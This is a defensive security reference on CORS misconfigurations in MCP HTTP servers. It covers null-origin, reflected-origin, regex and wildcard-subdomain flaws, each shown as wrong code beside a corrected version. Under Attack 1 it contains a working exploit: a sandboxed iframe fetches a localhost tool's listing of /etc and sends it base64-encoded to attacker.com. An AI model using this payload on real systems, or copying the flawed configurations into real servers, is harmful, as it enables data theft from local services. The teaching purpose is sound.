Security reference · CORS · HTTP headers
MCP server CORS misconfiguration security
CORS (Cross-Origin Resource Sharing) misconfigurations in MCP HTTP servers allow malicious web pages to make credentialed requests to the MCP server from a victim's browser. Unlike traditional APIs, MCP HTTP servers often run on localhost or internal networks where same-IP trust assumptions are common — making CORS misconfigurations particularly dangerous. Four patterns dominate: null origin bypass (allowing the null origin gives sandboxed iframes and file:// pages full access), reflected Origin without validation (echoing the request Origin header without checking an allowlist grants every domain full access), regex bypass (patterns like /example\.com$/ are bypassed by attacker-example.com), and overly broad subdomain allowlisting (allowing *.example.com is broken by an XSS on any subdomain).
Attack 1: Null origin bypass
The null origin is sent by browsers in specific contexts: pages loaded from file:// URLs, pages inside sandbox="" iframes without allow-same-origin, and pages served from data: URIs. If an MCP server's CORS policy includes null as an allowed origin, any of these contexts can make credentialed cross-origin requests to it.
// WRONG — allowing null origin
const cors = require("cors");
app.use(cors({
// Developer added null to "allow local file testing"
origin: ["https://app.example.com", "null"], // "null" as a string
credentials: true,
}));
Exploit from an attacker's page:
<!-- attacker.com/exploit.html -->
<iframe sandbox="allow-scripts allow-forms" src="data:text/html,
<script>
// Runs from null origin — allowed by the CORS config
fetch('http://localhost:3000/mcp/tool/list-files', {
method: 'POST',
credentials: 'include',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ path: '/etc' })
}).then(r => r.text()).then(data =>
fetch('https://attacker.com/collect?d=' + btoa(data))
);
</script>
"></iframe>
Fix: never allow the null origin in your allowlist.
// Correct CORS configuration with explicit allowlist
app.use(cors({
origin: (origin, callback) => {
const ALLOWED = new Set(["https://app.example.com", "https://admin.example.com"]);
// Explicitly reject null — don't include it even for "testing"
if (!origin || !ALLOWED.has(origin)) {
return callback(new Error(`CORS: origin ${origin} not allowed`));
}
callback(null, origin);
},
credentials: true,
}));
Attack 2: Reflected Origin without allowlist validation
A common shortcut is to echo the request's Origin header directly into the Access-Control-Allow-Origin response header — this appears to solve the "multiple allowed origins" problem but effectively allows every origin.
// WRONG — reflects Origin header without validation
app.use((req, res, next) => {
const origin = req.headers.origin;
if (origin) {
// Intended to "only allow requests that have an Origin header"
// Actually allows EVERY origin that sends one
res.setHeader("Access-Control-Allow-Origin", origin);
res.setHeader("Access-Control-Allow-Credentials", "true");
res.setHeader("Vary", "Origin");
}
next();
});
Any domain can now make credentialed requests. The Vary: Origin header is set correctly, which is a sign the developer knew about caching issues — but they missed that reflecting the origin without validating it is equivalent to Access-Control-Allow-Origin: * with credentials.
Never echo the Origin header directly. Always validate it against a Set of allowed origins before reflecting. A missing origin (same-origin requests from curl or server-to-server calls) should return no CORS headers, not a reflected empty string.
Attack 3: Regex origin bypass
Regular expression origin validation is prone to escaping errors and prefix/suffix bypass. Two common patterns and their bypasses:
// WRONG — regex that can be bypassed with prefix attack
function originAllowed(origin: string): boolean {
// Intended to match app.example.com and staging.example.com
return /example\.com$/.test(origin);
// Bypassed by: "https://attacker-example.com" — matches! (ends with example.com)
}
// WRONG — regex with unescaped dot
function originAllowed2(origin: string): boolean {
return /https:\/\/app.example.com/.test(origin);
// Bypassed by: "https://appXexample.com" — dot matches any character
}
Safe pattern: exact string match against an explicit allowlist. Avoid regex for origin validation entirely.
// CORRECT — exact Set membership check, no regex
const ALLOWED_ORIGINS = new Set([
"https://app.example.com",
"https://staging.example.com",
"https://admin.example.com",
]);
app.use(cors({
origin: (origin, callback) => {
// No origin = same-origin request (curl, server-to-server) — no CORS headers needed
if (!origin) return callback(null, false);
// Exact match only — no substring, prefix, or suffix checks
if (ALLOWED_ORIGINS.has(origin)) return callback(null, origin);
callback(new Error("Not allowed by CORS"));
},
credentials: true,
methods: ["GET", "POST", "OPTIONS"],
allowedHeaders: ["Content-Type", "Authorization"],
}));
Attack 4: Overly broad subdomain wildcarding
Allowing all subdomains of a domain you control (e.g., *.example.com) means any XSS vulnerability on any subdomain (old-marketing.example.com, test.example.com) can make credentialed requests to your MCP server. Abandoned subdomains with no XSS hardening become your weakest link.
// WRONG — wildcard subdomain matching
origin: (origin, callback) => {
if (origin && /^https:\/\/[a-z0-9-]+\.example\.com$/.test(origin)) {
return callback(null, origin); // any subdomain allowed
}
callback(new Error("Not allowed"));
}
Fix: enumerate allowed subdomains explicitly in the Set, even if that list is long. If you genuinely need dynamic subdomain support, generate the allowlist from a trusted registry at startup, not from the request origin at runtime.
CORS configuration for MCP servers: use-case guide
| Scenario | Recommendation |
|---|---|
| MCP server only accessed by Claude Code / desktop clients (no browser) | Disable CORS entirely — reject any request with an Origin header that isn't expected |
| MCP server accessed by web app + desktop clients | Exact allowlist of web app origins; reject everything else including null |
| Public MCP endpoint (no credentials, read-only) | Access-Control-Allow-Origin: * with no credentials — safe for public unauthenticated data |
| Localhost MCP server (developer tool) | Allow only http://localhost:PORT and http://127.0.0.1:PORT where PORT is the known app port |
Preflight and header validation
CORS preflight (OPTIONS) responses must also be hardened — reflecting all requested headers via Access-Control-Allow-Headers: * allows attackers to send custom headers that bypass application-level checks:
// WRONG — reflects all requested headers
res.setHeader("Access-Control-Allow-Headers",
req.headers["access-control-request-headers"] ?? "");
// CORRECT — explicit list of allowed headers only
res.setHeader("Access-Control-Allow-Headers",
"Content-Type, Authorization, X-Session-ID");
res.setHeader("Access-Control-Max-Age", "86400"); // cache preflight 24h
Also set Vary: Origin on all CORS responses to prevent CDN cache poisoning where a response with a specific Access-Control-Allow-Origin is cached and served to requests from different origins.
SkillAudit findings
Run a CORS configuration audit. SkillAudit checks for reflected Origin, null origin allowlisting, regex bypass patterns, and missing Vary headers in MCP HTTP server CORS configuration. Audit your server →